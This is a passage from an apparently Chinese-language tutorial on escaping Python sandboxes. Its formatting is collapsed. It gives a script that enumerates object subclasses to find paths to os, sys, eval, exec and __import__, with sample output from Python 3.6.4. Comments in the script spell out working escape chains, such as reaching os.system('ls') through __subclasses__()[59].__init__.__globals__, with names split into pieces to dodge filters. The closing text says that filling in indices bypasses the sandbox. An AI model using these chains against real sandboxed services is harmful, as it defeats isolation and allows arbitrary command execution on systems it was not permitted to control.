'__builtins__'],'tempfile': ['__builtins__'], 'textwrap': ['__builtins__'], 'this': ['__builtins__'],'threading': ['__builtins__'], 'timeit': ['timeit', 'sys', '__builtins__'], 'token': ['__builtins__'],'tokenize': ['sys', '__builtins__', 'open'], 'trace': ['os', 'sys', '__builtins__'],'traceback': ['sys', '__builtins__'], 'tracemalloc': ['os', '__builtins__'],'tty': ['os', '__builtins__'], 'turtle': ['sys', '__builtins__'], 'types': ['__builtins__'],'typing': ['sys', '__builtins__'], 'uu': ['os', 'sys', '__builtins__'],'uuid': ['os', 'sys', '__builtins__'], 'warnings': ['sys', '__builtins__'],'wave': ['sys', '__builtins__', 'open'], 'weakref': ['sys', '__builtins__'],'webbrowser': ['os', 'subprocess', 'sys', '__builtins__', 'open'], 'xdrlib': ['__builtins__'],'zipapp': ['os', 'sys', '__builtins__'], 'zipfile': ['os', 'importlib', 'sys', '__builtins__']}target_modules = ['os', 'platform', 'subprocess', 'timeit', 'importlib', 'codecs', 'sys']target_functions = ['__import__', '__builtins__', 'exec', 'eval', 'execfile', 'compile', 'file', 'open']all_targets = list(set(list(find_modules.keys()) + target_modules + target_functions))all_modules = list(set(list(find_modules.keys()) + target_modules))subclasses = ().__class__.__bases__[0].__subclasses__()sub_name = [s.__name__ for s in subclasses]# 第一种遍历,如:().__class__.__bases__[0].__subclasses__()[40]('./test.py').read()print('----------1-----------')for i, s in enumerate(sub_name):for f in all_targets:if f == s:if f in target_functions:print(i, f)elif f in all_modules:target = find_modules[f]sub_dict = subclasses[i].__dict__for t in target:if t in sub_dict:print(i, f, target)print('----------2-----------')# 第二种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')for i, sub in enumerate(subclasses):try:more = sub.__init__.__globals__for m in all_targets:if m in more:print(i, sub, m, find_modules.get(m))except Exception as e:passprint('----------3-----------')# 第三种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.values()[13]['eval']('__import__("os").system("ls")')for i, sub in enumerate(subclasses):try:more = sub.__init__.__globals__.values()for j, v in enumerate(more):for f in all_targets:try:if f in v:if f in target_functions:print(i, j, sub, f)elif f in all_modules:target = find_modules.get(f)sub_dict = v[f].__dict__for t in target:if t in sub_dict:print(i, j, sub, f, target)except Exception as e:passexcept Exception as e:passprint('----------4-----------')# 第四种遍历:如:().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls")# <class 'warnings.catch_warnings'>类很特殊,在内部定义了_module=sys.modules['warnings'],然后warnings模块包含有__builtins__,不具有通用性,本质上跟第一种方法类似for i, sub in enumerate(subclasses):try:more = sub()._module.__builtins__for f in all_targets:if f in more:print(i, f)except Exception as e:pass在Python 3.6.4,Ubuntu 16.04的环境上运行结果如下:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061----------1---------------------2-----------64 <class '_frozen_importlib._ModuleLock'> __import__ None64 <class '_frozen_importlib._ModuleLock'> __builtins__ None64 <class '_frozen_importlib._ModuleLock'> sys None65 <class '_frozen_importlib._DummyModuleLock'> __import__ None65 <class '_frozen_importlib._DummyModuleLock'> __builtins__ None65 <class '_frozen_importlib._DummyModuleLock'> sys None66 <class '_frozen_importlib._ModuleLockManager'> __import__ None66 <class '_frozen_importlib._ModuleLockManager'> __builtins__ None66 <class '_frozen_importlib._ModuleLockManager'> sys None67 <class '_frozen_importlib._installed_safely'> __import__ None67 <class '_frozen_importlib._installed_safely'> __builtins__ None67 <class '_frozen_importlib._installed_safely'> sys None68 <class '_frozen_importlib.ModuleSpec'> __import__ None68 <class '_frozen_importlib.ModuleSpec'> __builtins__ None68 <class '_frozen_importlib.ModuleSpec'> sys None79 <class '_frozen_importlib_external.FileLoader'> __builtins__ None79 <class '_frozen_importlib_external.FileLoader'> sys None80 <class '_frozen_importlib_external._NamespacePath'> __builtins__ None80 <class '_frozen_importlib_external._NamespacePath'> sys None81 <class '_frozen_importlib_external._NamespaceLoader'> __builtins__ None81 <class '_frozen_importlib_external._NamespaceLoader'> sys None83 <class '_frozen_importlib_external.FileFinder'> __builtins__ None83 <class '_frozen_importlib_external.FileFinder'> sys None91 <class 'codecs.IncrementalEncoder'> open None...----------3-----------64 5 <class '_frozen_importlib._ModuleLock'> compile64 5 <class '_frozen_importlib._ModuleLock'> __import__64 5 <class '_frozen_importlib._ModuleLock'> open64 5 <class '_frozen_importlib._ModuleLock'> eval64 5 <class '_frozen_importlib._ModuleLock'> exec65 5 <class '_frozen_importlib._DummyModuleLock'> compile65 5 <class '_frozen_importlib._DummyModuleLock'> __import__65 5 <class '_frozen_importlib._DummyModuleLock'> open----------4-----------64 5 <class '_frozen_importlib._ModuleLock'> compile64 5 <class '_frozen_importlib._ModuleLock'> __import__64 5 <class '_frozen_importlib._ModuleLock'> open64 5 <class '_frozen_importlib._ModuleLock'> eval64 5 <class '_frozen_importlib._ModuleLock'> exec65 5 <class '_frozen_importlib._DummyModuleLock'> compile65 5 <class '_frozen_importlib._DummyModuleLock'> __import__65 5 <class '_frozen_importlib._DummyModuleLock'> open65 5 <class '_frozen_importlib._DummyModuleLock'> eval65 5 <class '_frozen_importlib._DummyModuleLock'> exec66 5 <class '_frozen_importlib._ModuleLockManager'> compile66 5 <class '_frozen_importlib._ModuleLockManager'> __import__66 5 <class '_frozen_importlib._ModuleLockManager'> open66 5 <class '_frozen_importlib._ModuleLockManager'> eval66 5 <class '_frozen_importlib._ModuleLockManager'> exec67 5 <class '_frozen_importlib._installed_safely'> compile67 5 <class '_frozen_importlib._installed_safely'> __import__67 5 <class '_frozen_importlib._installed_safely'> open67 5 <class '_frozen_importlib._installed_safely'> eval67 5 <class '_frozen_importlib._installed_safely'> exec68 5 <class '_frozen_importlib.ModuleSpec'> compile68 5 <class '_frozen_importlib.ModuleSpec'> __import__68 5 <class '_frozen_importlib.ModuleSpec'> open...Python3可绕过的方法太多,这里没有全部列出来,有兴趣的自己执行查看结果。根据不同的方式,填入不同的索引和模块就可以绕过沙箱。